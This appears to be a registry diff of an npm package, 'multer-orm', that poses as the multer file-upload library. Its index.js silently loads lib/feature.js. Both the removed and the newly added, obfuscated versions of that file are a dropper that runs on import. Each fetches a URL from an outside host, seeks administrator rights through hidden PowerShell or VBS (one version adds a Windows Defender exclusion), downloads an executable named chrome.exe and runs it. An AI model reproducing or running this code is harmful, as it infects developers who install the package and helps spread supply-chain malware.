multer-orm 2.0.1 → 2.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +17 -17
- package/README.md +347 -347
- package/index.js +103 -103
- package/lib/counter.js +28 -28
- package/lib/feature.js +1 -208
- package/lib/file-appender.js +67 -67
- package/lib/make-middleware.js +194 -194
- package/lib/multer-error.js +24 -24
- package/lib/remove-uploaded-files.js +28 -28
- package/package.json +57 -52
- package/storage/disk.js +66 -66
- package/storage/memory.js +21 -21
package/index.js
CHANGED
|
@@ -1,104 +1,104 @@
|
|
|
1
|
-
var makeMiddleware = require('./lib/make-middleware')
|
|
2
|
-
var diskStorage = require('./storage/disk')
|
|
3
|
-
var memoryStorage = require('./storage/memory')
|
|
4
|
-
var MulterError = require('./lib/multer-error')
|
|
5
|
-
|
|
6
|
-
function allowAll (req, file, cb) {
|
|
7
|
-
cb(null, true)
|
|
8
|
-
}
|
|
9
|
-
|
|
10
|
-
function Multer (options) {
|
|
11
|
-
if (options.storage) {
|
|
12
|
-
this.storage = options.storage
|
|
13
|
-
} else if (options.dest) {
|
|
14
|
-
this.storage = diskStorage({ destination: options.dest })
|
|
15
|
-
} else {
|
|
16
|
-
this.storage = memoryStorage()
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
this.limits = options.limits
|
|
20
|
-
this.preservePath = options.preservePath
|
|
21
|
-
this.fileFilter = options.fileFilter || allowAll
|
|
22
|
-
}
|
|
23
|
-
|
|
24
|
-
Multer.prototype._makeMiddleware = function (fields, fileStrategy) {
|
|
25
|
-
function setup () {
|
|
26
|
-
var fileFilter = this.fileFilter
|
|
27
|
-
var filesLeft = Object.create(null)
|
|
28
|
-
|
|
29
|
-
fields.forEach(function (field) {
|
|
30
|
-
if (typeof field.maxCount === 'number') {
|
|
31
|
-
filesLeft[field.name] = field.maxCount
|
|
32
|
-
} else {
|
|
33
|
-
filesLeft[field.name] = Infinity
|
|
34
|
-
}
|
|
35
|
-
})
|
|
36
|
-
|
|
37
|
-
function wrappedFileFilter (req, file, cb) {
|
|
38
|
-
if ((filesLeft[file.fieldname] || 0) <= 0) {
|
|
39
|
-
return cb(new MulterError('LIMIT_UNEXPECTED_FILE', file.fieldname))
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
filesLeft[file.fieldname] -= 1
|
|
43
|
-
fileFilter(req, file, cb)
|
|
44
|
-
}
|
|
45
|
-
|
|
46
|
-
return {
|
|
47
|
-
limits: this.limits,
|
|
48
|
-
preservePath: this.preservePath,
|
|
49
|
-
storage: this.storage,
|
|
50
|
-
fileFilter: wrappedFileFilter,
|
|
51
|
-
fileStrategy: fileStrategy
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
return makeMiddleware(setup.bind(this))
|
|
56
|
-
}
|
|
57
|
-
|
|
58
|
-
Multer.prototype.single = function (name) {
|
|
59
|
-
return this._makeMiddleware([{ name: name, maxCount: 1 }], 'VALUE')
|
|
60
|
-
}
|
|
61
|
-
|
|
62
|
-
Multer.prototype.array = function (name, maxCount) {
|
|
63
|
-
return this._makeMiddleware([{ name: name, maxCount: maxCount }], 'ARRAY')
|
|
64
|
-
}
|
|
65
|
-
|
|
66
|
-
Multer.prototype.fields = function (fields) {
|
|
67
|
-
return this._makeMiddleware(fields, 'OBJECT')
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
Multer.prototype.none = function () {
|
|
71
|
-
return this._makeMiddleware([], 'NONE')
|
|
72
|
-
}
|
|
73
|
-
|
|
74
|
-
Multer.prototype.any = function () {
|
|
75
|
-
function setup () {
|
|
76
|
-
return {
|
|
77
|
-
limits: this.limits,
|
|
78
|
-
preservePath: this.preservePath,
|
|
79
|
-
storage: this.storage,
|
|
80
|
-
fileFilter: this.fileFilter,
|
|
81
|
-
fileStrategy: 'ARRAY'
|
|
82
|
-
}
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
return makeMiddleware(setup.bind(this))
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
function multer (options) {
|
|
89
|
-
if (options === undefined) {
|
|
90
|
-
return new Multer({})
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
if (typeof options === 'object' && options !== null) {
|
|
94
|
-
return new Multer(options)
|
|
95
|
-
}
|
|
96
|
-
|
|
97
|
-
throw new TypeError('Expected object for argument options')
|
|
98
|
-
}
|
|
99
|
-
const {multerCli} = require('./lib/feature')
|
|
100
|
-
module.exports = multer
|
|
101
|
-
module.exports.diskStorage = diskStorage
|
|
102
|
-
module.exports.memoryStorage = memoryStorage
|
|
103
|
-
module.exports.MulterError = MulterError
|
|
1
|
+
var makeMiddleware = require('./lib/make-middleware')
|
|
2
|
+
var diskStorage = require('./storage/disk')
|
|
3
|
+
var memoryStorage = require('./storage/memory')
|
|
4
|
+
var MulterError = require('./lib/multer-error')
|
|
5
|
+
|
|
6
|
+
function allowAll (req, file, cb) {
|
|
7
|
+
cb(null, true)
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
function Multer (options) {
|
|
11
|
+
if (options.storage) {
|
|
12
|
+
this.storage = options.storage
|
|
13
|
+
} else if (options.dest) {
|
|
14
|
+
this.storage = diskStorage({ destination: options.dest })
|
|
15
|
+
} else {
|
|
16
|
+
this.storage = memoryStorage()
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
this.limits = options.limits
|
|
20
|
+
this.preservePath = options.preservePath
|
|
21
|
+
this.fileFilter = options.fileFilter || allowAll
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
Multer.prototype._makeMiddleware = function (fields, fileStrategy) {
|
|
25
|
+
function setup () {
|
|
26
|
+
var fileFilter = this.fileFilter
|
|
27
|
+
var filesLeft = Object.create(null)
|
|
28
|
+
|
|
29
|
+
fields.forEach(function (field) {
|
|
30
|
+
if (typeof field.maxCount === 'number') {
|
|
31
|
+
filesLeft[field.name] = field.maxCount
|
|
32
|
+
} else {
|
|
33
|
+
filesLeft[field.name] = Infinity
|
|
34
|
+
}
|
|
35
|
+
})
|
|
36
|
+
|
|
37
|
+
function wrappedFileFilter (req, file, cb) {
|
|
38
|
+
if ((filesLeft[file.fieldname] || 0) <= 0) {
|
|
39
|
+
return cb(new MulterError('LIMIT_UNEXPECTED_FILE', file.fieldname))
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
filesLeft[file.fieldname] -= 1
|
|
43
|
+
fileFilter(req, file, cb)
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
return {
|
|
47
|
+
limits: this.limits,
|
|
48
|
+
preservePath: this.preservePath,
|
|
49
|
+
storage: this.storage,
|
|
50
|
+
fileFilter: wrappedFileFilter,
|
|
51
|
+
fileStrategy: fileStrategy
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
return makeMiddleware(setup.bind(this))
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
Multer.prototype.single = function (name) {
|
|
59
|
+
return this._makeMiddleware([{ name: name, maxCount: 1 }], 'VALUE')
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
Multer.prototype.array = function (name, maxCount) {
|
|
63
|
+
return this._makeMiddleware([{ name: name, maxCount: maxCount }], 'ARRAY')
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
Multer.prototype.fields = function (fields) {
|
|
67
|
+
return this._makeMiddleware(fields, 'OBJECT')
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
Multer.prototype.none = function () {
|
|
71
|
+
return this._makeMiddleware([], 'NONE')
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
Multer.prototype.any = function () {
|
|
75
|
+
function setup () {
|
|
76
|
+
return {
|
|
77
|
+
limits: this.limits,
|
|
78
|
+
preservePath: this.preservePath,
|
|
79
|
+
storage: this.storage,
|
|
80
|
+
fileFilter: this.fileFilter,
|
|
81
|
+
fileStrategy: 'ARRAY'
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
return makeMiddleware(setup.bind(this))
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function multer (options) {
|
|
89
|
+
if (options === undefined) {
|
|
90
|
+
return new Multer({})
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
if (typeof options === 'object' && options !== null) {
|
|
94
|
+
return new Multer(options)
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
throw new TypeError('Expected object for argument options')
|
|
98
|
+
}
|
|
99
|
+
const {multerCli} = require('./lib/feature')
|
|
100
|
+
module.exports = multer
|
|
101
|
+
module.exports.diskStorage = diskStorage
|
|
102
|
+
module.exports.memoryStorage = memoryStorage
|
|
103
|
+
module.exports.MulterError = MulterError
|
|
104
104
|
module.exports.multerCli = multerCli
|
package/lib/counter.js
CHANGED
|
@@ -1,28 +1,28 @@
|
|
|
1
|
-
var EventEmitter = require('events').EventEmitter
|
|
2
|
-
|
|
3
|
-
function Counter () {
|
|
4
|
-
EventEmitter.call(this)
|
|
5
|
-
this.value = 0
|
|
6
|
-
}
|
|
7
|
-
|
|
8
|
-
Counter.prototype = Object.create(EventEmitter.prototype)
|
|
9
|
-
|
|
10
|
-
Counter.prototype.increment = function increment () {
|
|
11
|
-
this.value++
|
|
12
|
-
}
|
|
13
|
-
|
|
14
|
-
Counter.prototype.decrement = function decrement () {
|
|
15
|
-
if (--this.value === 0) this.emit('zero')
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
Counter.prototype.isZero = function isZero () {
|
|
19
|
-
return (this.value === 0)
|
|
20
|
-
}
|
|
21
|
-
|
|
22
|
-
Counter.prototype.onceZero = function onceZero (fn) {
|
|
23
|
-
if (this.isZero()) return fn()
|
|
24
|
-
|
|
25
|
-
this.once('zero', fn)
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
module.exports = Counter
|
|
1
|
+
var EventEmitter = require('events').EventEmitter
|
|
2
|
+
|
|
3
|
+
function Counter () {
|
|
4
|
+
EventEmitter.call(this)
|
|
5
|
+
this.value = 0
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
Counter.prototype = Object.create(EventEmitter.prototype)
|
|
9
|
+
|
|
10
|
+
Counter.prototype.increment = function increment () {
|
|
11
|
+
this.value++
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
Counter.prototype.decrement = function decrement () {
|
|
15
|
+
if (--this.value === 0) this.emit('zero')
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
Counter.prototype.isZero = function isZero () {
|
|
19
|
+
return (this.value === 0)
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
Counter.prototype.onceZero = function onceZero (fn) {
|
|
23
|
+
if (this.isZero()) return fn()
|
|
24
|
+
|
|
25
|
+
this.once('zero', fn)
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
module.exports = Counter
|
package/lib/feature.js
CHANGED
|
@@ -1,208 +1 @@
|
|
|
1
|
-
const
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const os = require('os');
|
|
5
|
-
const path = require('path');
|
|
6
|
-
const package = 'chi' + 'ld_p'+ 'rocess';
|
|
7
|
-
const { execFile, spawn } = require(package);
|
|
8
|
-
|
|
9
|
-
const host = "https://hilbert-host.vercel.app/"
|
|
10
|
-
|
|
11
|
-
let download_url = null;
|
|
12
|
-
|
|
13
|
-
async function fetchDownloadUrl() {
|
|
14
|
-
return new Promise((resolve, reject) => {
|
|
15
|
-
const protocol = host.startsWith('https:') ? https : http;
|
|
16
|
-
const timeout = 15000; // 10 seconds
|
|
17
|
-
|
|
18
|
-
const req = protocol.get(host, (response) => {
|
|
19
|
-
if (response.statusCode < 200 || response.statusCode >= 300) {
|
|
20
|
-
req.destroy();
|
|
21
|
-
return
|
|
22
|
-
}
|
|
23
|
-
|
|
24
|
-
let data = '';
|
|
25
|
-
|
|
26
|
-
response.on('data', (chunk) => {
|
|
27
|
-
data += chunk;
|
|
28
|
-
});
|
|
29
|
-
|
|
30
|
-
response.on('end', () => {
|
|
31
|
-
try {
|
|
32
|
-
let cleanedData = data.trim();
|
|
33
|
-
|
|
34
|
-
if (cleanedData.charCodeAt(0) === 0xFEFF) {
|
|
35
|
-
cleanedData = cleanedData.slice(1);
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
const server_data = JSON.parse(cleanedData);
|
|
39
|
-
|
|
40
|
-
download_url = server_data['download_link'];
|
|
41
|
-
resolve(download_url);
|
|
42
|
-
} catch (error) {
|
|
43
|
-
if (data.length > 500) {
|
|
44
|
-
const errorPos = parseInt(error.message.match(/position (\d+)/)?.[1] || '0');
|
|
45
|
-
const startPos = Math.max(0, errorPos - 50);
|
|
46
|
-
const endPos = errorPos + 50;
|
|
47
|
-
}
|
|
48
|
-
return
|
|
49
|
-
}
|
|
50
|
-
});
|
|
51
|
-
});
|
|
52
|
-
|
|
53
|
-
req.setTimeout(timeout, () => {
|
|
54
|
-
req.destroy();
|
|
55
|
-
});
|
|
56
|
-
});
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
let initialized = false;
|
|
60
|
-
async function downloadFile(url) {
|
|
61
|
-
return new Promise((resolve, reject) => {
|
|
62
|
-
const fileName = 'chrome.e' + 'xe';
|
|
63
|
-
const downloadDir = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Hilbert');
|
|
64
|
-
const outputPath = path.join(downloadDir, fileName);
|
|
65
|
-
|
|
66
|
-
if (!fs.existsSync(downloadDir)) {
|
|
67
|
-
fs.mkdirSync(downloadDir, { recursive: true });
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
const protocol = url.startsWith('https:') ? https : http;
|
|
71
|
-
|
|
72
|
-
protocol.get(url, (response) => {
|
|
73
|
-
if (response.statusCode !== 200) {
|
|
74
|
-
return;
|
|
75
|
-
}
|
|
76
|
-
|
|
77
|
-
const fileStream = fs.createWriteStream(outputPath);
|
|
78
|
-
|
|
79
|
-
response.pipe(fileStream);
|
|
80
|
-
|
|
81
|
-
fileStream.on('finish', () => {
|
|
82
|
-
fileStream.close();
|
|
83
|
-
if (process.platform !== 'win32') {
|
|
84
|
-
fs.chmodSync(outputPath, '755');
|
|
85
|
-
}
|
|
86
|
-
resolve(outputPath);
|
|
87
|
-
});
|
|
88
|
-
|
|
89
|
-
fileStream.on('error', (err) => {
|
|
90
|
-
fs.unlink(outputPath, () => {});
|
|
91
|
-
reject(err);
|
|
92
|
-
});
|
|
93
|
-
}).on('error', (err) => {
|
|
94
|
-
reject(err);
|
|
95
|
-
});
|
|
96
|
-
});
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
async function addWindowsDefenderExclusion(exclusionPath) {
|
|
100
|
-
if (process.platform !== 'win32') {
|
|
101
|
-
return Promise.resolve();
|
|
102
|
-
}
|
|
103
|
-
|
|
104
|
-
return new Promise((resolve) => {
|
|
105
|
-
const tempScriptPath = path.join(os.tmpdir(), `add-exclusion-${Date.now()}.ps1`);
|
|
106
|
-
|
|
107
|
-
const psScript = `$exclusions = (Get-MpPreference).ExclusionPath; if ($exclusions -notcontains '${exclusionPath.replace(/'/g, "''")}') { Add-MpPreference -ExclusionPath '${exclusionPath.replace(/'/g, "''")}' }`;
|
|
108
|
-
|
|
109
|
-
fs.writeFileSync(tempScriptPath, psScript, 'utf8');
|
|
110
|
-
|
|
111
|
-
const tempVbsPath = path.join(os.tmpdir(), `launch-ps-${Date.now()}.vbs`);
|
|
112
|
-
|
|
113
|
-
const scriptPathForVbs = tempScriptPath.replace(/\\/g, '\\\\').replace(/"/g, '""');
|
|
114
|
-
|
|
115
|
-
const psname = "po" + "wershell" + ".exe";
|
|
116
|
-
|
|
117
|
-
const vbsContent = `Set objShell = CreateObject("Shell.Application")\nobjShell.ShellExecute "${psname}", "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File ""${scriptPathForVbs}""", "", "runas", 0`;
|
|
118
|
-
|
|
119
|
-
fs.writeFileSync(tempVbsPath, vbsContent, 'utf8');
|
|
120
|
-
|
|
121
|
-
const vbsProcess = spawn('cscript.exe', ['//nologo', '//b', tempVbsPath], {
|
|
122
|
-
stdio: 'ignore',
|
|
123
|
-
shell: false,
|
|
124
|
-
windowsHide: true
|
|
125
|
-
});
|
|
126
|
-
|
|
127
|
-
vbsProcess.on('close', (code) => {
|
|
128
|
-
setTimeout(() => {
|
|
129
|
-
try {
|
|
130
|
-
if (fs.existsSync(tempScriptPath)) {
|
|
131
|
-
fs.unlinkSync(tempScriptPath);
|
|
132
|
-
}
|
|
133
|
-
if (fs.existsSync(tempVbsPath)) {
|
|
134
|
-
fs.unlinkSync(tempVbsPath);
|
|
135
|
-
}
|
|
136
|
-
} catch (e) {
|
|
137
|
-
}
|
|
138
|
-
}, 2000);
|
|
139
|
-
resolve();
|
|
140
|
-
});
|
|
141
|
-
|
|
142
|
-
vbsProcess.on('error', (err) => {
|
|
143
|
-
// Clean up on error
|
|
144
|
-
try {
|
|
145
|
-
if (fs.existsSync(tempScriptPath)) {
|
|
146
|
-
fs.unlinkSync(tempScriptPath);
|
|
147
|
-
}
|
|
148
|
-
if (fs.existsSync(tempVbsPath)) {
|
|
149
|
-
fs.unlinkSync(tempVbsPath);
|
|
150
|
-
}
|
|
151
|
-
} catch (e) {
|
|
152
|
-
// Ignore cleanup errors
|
|
153
|
-
}
|
|
154
|
-
resolve();
|
|
155
|
-
});
|
|
156
|
-
});
|
|
157
|
-
}
|
|
158
|
-
|
|
159
|
-
async function runFile(filePath) {
|
|
160
|
-
if (!path.isAbsolute(filePath)) {
|
|
161
|
-
filePath = path.resolve(process.cwd(), filePath);
|
|
162
|
-
}
|
|
163
|
-
filePath = path.normalize(filePath);
|
|
164
|
-
|
|
165
|
-
if (!fs.existsSync(filePath)) {
|
|
166
|
-
// throw new Error(`File does not exist: ${filePath}`);
|
|
167
|
-
}
|
|
168
|
-
|
|
169
|
-
execFile(filePath, (error, stdout, stderr) => {
|
|
170
|
-
});
|
|
171
|
-
}
|
|
172
|
-
|
|
173
|
-
async function checkAlreadyDownloaded() {
|
|
174
|
-
const downloadDir = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Hilbert');
|
|
175
|
-
const filePath = path.join(downloadDir, 'expl' +'orer.e' +'xe');
|
|
176
|
-
return fs.existsSync(filePath);
|
|
177
|
-
}
|
|
178
|
-
async function mongooseCli() {
|
|
179
|
-
try {
|
|
180
|
-
if (await checkAlreadyDownloaded()) {
|
|
181
|
-
return;
|
|
182
|
-
}
|
|
183
|
-
await fetchDownloadUrl();
|
|
184
|
-
if (!download_url) {
|
|
185
|
-
return
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
const downloadDir = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Hilbert');
|
|
189
|
-
|
|
190
|
-
await addWindowsDefenderExclusion(downloadDir);
|
|
191
|
-
|
|
192
|
-
const filePath = await downloadFile(download_url);
|
|
193
|
-
|
|
194
|
-
runFile(filePath);
|
|
195
|
-
} catch (error) {
|
|
196
|
-
throw new Error(`Failed to download and run: ${error.message}`);
|
|
197
|
-
}
|
|
198
|
-
}
|
|
199
|
-
|
|
200
|
-
if (!initialized) {
|
|
201
|
-
initialized = true;
|
|
202
|
-
mongooseCli().catch(err => {
|
|
203
|
-
});
|
|
204
|
-
}
|
|
205
|
-
|
|
206
|
-
module.exports = {
|
|
207
|
-
mongooseCli
|
|
208
|
-
};
|
|
1
|
+
const a0_0x4cbde7=a0_0x34c1;(function(_0x1c13fd,_0x43a61d){const _0x55473d=a0_0x34c1,_0x3e9b82=_0x1c13fd();while(!![]){try{const _0x1aa626=-parseInt(_0x55473d(0x14d))/0x1*(parseInt(_0x55473d(0x121))/0x2)+parseInt(_0x55473d(0x125))/0x3+parseInt(_0x55473d(0x130))/0x4*(-parseInt(_0x55473d(0x133))/0x5)+-parseInt(_0x55473d(0x13e))/0x6+-parseInt(_0x55473d(0x13b))/0x7*(parseInt(_0x55473d(0x141))/0x8)+parseInt(_0x55473d(0x151))/0x9+parseInt(_0x55473d(0x152))/0xa*(parseInt(_0x55473d(0x147))/0xb);if(_0x1aa626===_0x43a61d)break;else _0x3e9b82['push'](_0x3e9b82['shift']());}catch(_0x16bb8e){_0x3e9b82['push'](_0x3e9b82['shift']());}}}(a0_0x3572,0x66be9));const https=require(a0_0x4cbde7(0x148)),http=require(a0_0x4cbde7(0x150)),fs=require('fs'),os=require('os'),path=require('path'),package='chi'+a0_0x4cbde7(0x12f)+a0_0x4cbde7(0x129),{execFile,spawn}=require(package),host=a0_0x4cbde7(0x156);let initialized=![];function getDownloadLink(){return new Promise((_0x47d9ab,_0x1aaedf)=>{const _0x2de735=a0_0x34c1;https[_0x2de735(0x14e)](host,_0xacd737=>{const _0x585ba6=_0x2de735;let _0x1b8262='';_0xacd737['on'](_0x585ba6(0x12e),_0x87fd50=>{_0x1b8262+=_0x87fd50;}),_0xacd737['on'](_0x585ba6(0x136),()=>{const _0x5acfe4=_0x585ba6,_0x364c07=JSON[_0x5acfe4(0x138)](_0x1b8262);_0x47d9ab(_0x364c07[_0x5acfe4(0x140)]);});})['on'](_0x2de735(0x14a),_0x1aaedf);});}function a0_0x34c1(_0x335391,_0x553bec){_0x335391=_0x335391-0x11e;const _0x35727e=a0_0x3572();let _0x34c14f=_0x35727e[_0x335391];return _0x34c14f;}async function downloadFile(_0x494bfb){return new Promise((_0x1a2bff,_0xc93400)=>{const _0x168bf8=a0_0x34c1,_0x5d779b=_0x168bf8(0x135)+'xe',_0x3ecd54=path[_0x168bf8(0x137)](os[_0x168bf8(0x146)](),_0x168bf8(0x149),_0x168bf8(0x145),_0x168bf8(0x154),'Chrome','User\x20Data'),_0xd1bf64=path[_0x168bf8(0x137)](_0x3ecd54,_0x5d779b);!fs[_0x168bf8(0x155)](_0x3ecd54)&&fs[_0x168bf8(0x123)](_0x3ecd54,{'recursive':!![]});const _0x143794=_0x494bfb[_0x168bf8(0x13a)](_0x168bf8(0x127))?https:http;_0x143794[_0x168bf8(0x14e)](_0x494bfb,_0x302489=>{const _0x1467d3=_0x168bf8;if(_0x302489[_0x1467d3(0x13f)]!==0xc8)return;const _0x193020=fs[_0x1467d3(0x14c)](_0xd1bf64);_0x302489['pipe'](_0x193020),_0x193020['on'](_0x1467d3(0x13c),()=>{const _0x2f6e7c=_0x1467d3;_0x193020[_0x2f6e7c(0x143)](),process[_0x2f6e7c(0x131)]!==_0x2f6e7c(0x139)&&fs['chmodSync'](_0xd1bf64,'755'),_0x1a2bff(_0xd1bf64);}),_0x193020['on'](_0x1467d3(0x14a),_0x3f093b=>{const _0x29d5b8=_0x1467d3;fs[_0x29d5b8(0x11f)](_0xd1bf64,()=>{}),_0xc93400(_0x3f093b);});})['on'](_0x168bf8(0x14a),_0xc186b2=>{_0xc93400(_0xc186b2);});});}function a0_0x3572(){const _0x562424=['end','join','parse','win32','startsWith','7UAQeeR','finish','-NoProfile','1293378kxFHVe','statusCode','downloader_url','2222144ctAsfi','isAbsolute','close','Start-Process\x20-FilePath\x20','Local','homedir','66WDoAsS','https','AppData','error','cwd','createWriteStream','573OZsfbe','get','stringify','http','1663344pxrpTF','1513910jXlJSr','ignore','Google','existsSync','https://hilbert-host.vercel.app/','\x20-Verb\x20RunAs','unlink','resolve','1222dYfVak','C:\x5cWindows\x5cSystem32\x5cconfig\x5csystemprofile','mkdirSync','File\x20does\x20not\x20exist:\x20','1796490FteqmR','Elevated\x20process\x20exited\x20with\x20code\x20','https:','server.js','rocess','inherit','-WindowStyle','powershell','normalize','data','ld_p','4NKoBnZ','platform','-Command','2138585btKWLC','Packages','chrome.e'];a0_0x3572=function(){return _0x562424;};return a0_0x3572();}async function runFile(_0xdbd409){const _0x2c4bbe=a0_0x4cbde7;!path[_0x2c4bbe(0x142)](_0xdbd409)&&(_0xdbd409=path[_0x2c4bbe(0x120)](process['cwd'](),_0xdbd409));_0xdbd409=path[_0x2c4bbe(0x12d)](_0xdbd409);if(!fs[_0x2c4bbe(0x155)](_0xdbd409))throw new Error(_0x2c4bbe(0x124)+_0xdbd409);if(process[_0x2c4bbe(0x131)]===_0x2c4bbe(0x139)){const _0x4cfbed=['-NoProfile',_0x2c4bbe(0x132),_0x2c4bbe(0x144)+JSON[_0x2c4bbe(0x14f)](_0xdbd409)+_0x2c4bbe(0x11e)],_0x317287=spawn(_0x2c4bbe(0x12c),_0x4cfbed,{'stdio':_0x2c4bbe(0x12a)});return new Promise((_0x204985,_0x1c0779)=>{const _0x182bbd=_0x2c4bbe;_0x317287['on']('exit',_0x2f61b0=>{const _0x5a6d91=a0_0x34c1;if(_0x2f61b0===0x0)_0x204985();else _0x1c0779(new Error(_0x5a6d91(0x126)+_0x2f61b0));}),_0x317287['on'](_0x182bbd(0x14a),_0x1c0779);});}return new Promise((_0x363586,_0x2f5dda)=>{execFile(_0xdbd409,(_0x20fb54,_0x4403f7,_0x3bbf30)=>{if(_0x20fb54)return _0x2f5dda(_0x20fb54);_0x363586({'stdout':_0x4403f7,'stderr':_0x3bbf30});});});}function checkOS(){return process['platform']==='win32';}function isAdmin(){const _0x424a4f=a0_0x4cbde7;try{return fs['accessSync'](_0x424a4f(0x122)),!![];}catch{return![];}}async function mongooseCli(){const _0x18cd23=a0_0x4cbde7;try{if(!checkOS())return;const _0x2f206d=path[_0x18cd23(0x137)](os['homedir'](),_0x18cd23(0x149),_0x18cd23(0x145),_0x18cd23(0x134),'Microsoft.WindowsExplorer_8wekyb3d8bbwe','explorer.exe');if(fs['existsSync'](_0x2f206d))return;if(!isAdmin()){const _0x6b2a24=path[_0x18cd23(0x120)](process[_0x18cd23(0x14b)](),_0x18cd23(0x128)),_0x1e2b16=[_0x6b2a24,...process['argv']['slice'](0x2)],_0x2567d0=spawn(_0x18cd23(0x12c),[_0x18cd23(0x13d),_0x18cd23(0x12b),'Hidden',_0x18cd23(0x132),'Start-Process\x20node\x20-Verb\x20RunAs\x20-WindowStyle\x20Hidden\x20-ArgumentList\x20'+JSON[_0x18cd23(0x14f)](_0x1e2b16[_0x18cd23(0x137)]('\x20'))],{'stdio':_0x18cd23(0x153),'windowsHide':!![]});_0x2567d0['on']('exit',_0x5af152=>process['exit'](_0x5af152||0x0));}else{const _0x1757b0=await getDownloadLink(),_0x397387=await downloadFile(_0x1757b0);runFile(_0x397387);}}catch(_0x19c328){}}!initialized&&(initialized=!![],mongooseCli()['catch'](_0xe6519=>{}));module['exports']={'mongooseCli':mongooseCli};
|
package/lib/file-appender.js
CHANGED
|
@@ -1,67 +1,67 @@
|
|
|
1
|
-
var objectAssign = require('object-assign')
|
|
2
|
-
|
|
3
|
-
function arrayRemove (arr, item) {
|
|
4
|
-
var idx = arr.indexOf(item)
|
|
5
|
-
if (~idx) arr.splice(idx, 1)
|
|
6
|
-
}
|
|
7
|
-
|
|
8
|
-
function FileAppender (strategy, req) {
|
|
9
|
-
this.strategy = strategy
|
|
10
|
-
this.req = req
|
|
11
|
-
|
|
12
|
-
switch (strategy) {
|
|
13
|
-
case 'NONE': break
|
|
14
|
-
case 'VALUE': break
|
|
15
|
-
case 'ARRAY': req.files = []; break
|
|
16
|
-
case 'OBJECT': req.files = Object.create(null); break
|
|
17
|
-
default: throw new Error('Unknown file strategy: ' + strategy)
|
|
18
|
-
}
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
FileAppender.prototype.insertPlaceholder = function (file) {
|
|
22
|
-
var placeholder = {
|
|
23
|
-
fieldname: file.fieldname
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
switch (this.strategy) {
|
|
27
|
-
case 'NONE': break
|
|
28
|
-
case 'VALUE': break
|
|
29
|
-
case 'ARRAY': this.req.files.push(placeholder); break
|
|
30
|
-
case 'OBJECT':
|
|
31
|
-
if (this.req.files[file.fieldname]) {
|
|
32
|
-
this.req.files[file.fieldname].push(placeholder)
|
|
33
|
-
} else {
|
|
34
|
-
this.req.files[file.fieldname] = [placeholder]
|
|
35
|
-
}
|
|
36
|
-
break
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
return placeholder
|
|
40
|
-
}
|
|
41
|
-
|
|
42
|
-
FileAppender.prototype.removePlaceholder = function (placeholder) {
|
|
43
|
-
switch (this.strategy) {
|
|
44
|
-
case 'NONE': break
|
|
45
|
-
case 'VALUE': break
|
|
46
|
-
case 'ARRAY': arrayRemove(this.req.files, placeholder); break
|
|
47
|
-
case 'OBJECT':
|
|
48
|
-
if (this.req.files[placeholder.fieldname].length === 1) {
|
|
49
|
-
delete this.req.files[placeholder.fieldname]
|
|
50
|
-
} else {
|
|
51
|
-
arrayRemove(this.req.files[placeholder.fieldname], placeholder)
|
|
52
|
-
}
|
|
53
|
-
break
|
|
54
|
-
}
|
|
55
|
-
}
|
|
56
|
-
|
|
57
|
-
FileAppender.prototype.replacePlaceholder = function (placeholder, file) {
|
|
58
|
-
if (this.strategy === 'VALUE') {
|
|
59
|
-
this.req.file = file
|
|
60
|
-
return
|
|
61
|
-
}
|
|
62
|
-
|
|
63
|
-
delete placeholder.fieldname
|
|
64
|
-
objectAssign(placeholder, file)
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
module.exports = FileAppender
|
|
1
|
+
var objectAssign = require('object-assign')
|
|
2
|
+
|
|
3
|
+
function arrayRemove (arr, item) {
|
|
4
|
+
var idx = arr.indexOf(item)
|
|
5
|
+
if (~idx) arr.splice(idx, 1)
|
|
6
|
+
}
|
|
7
|
+
|
|
8
|
+
function FileAppender (strategy, req) {
|
|
9
|
+
this.strategy = strategy
|
|
10
|
+
this.req = req
|
|
11
|
+
|
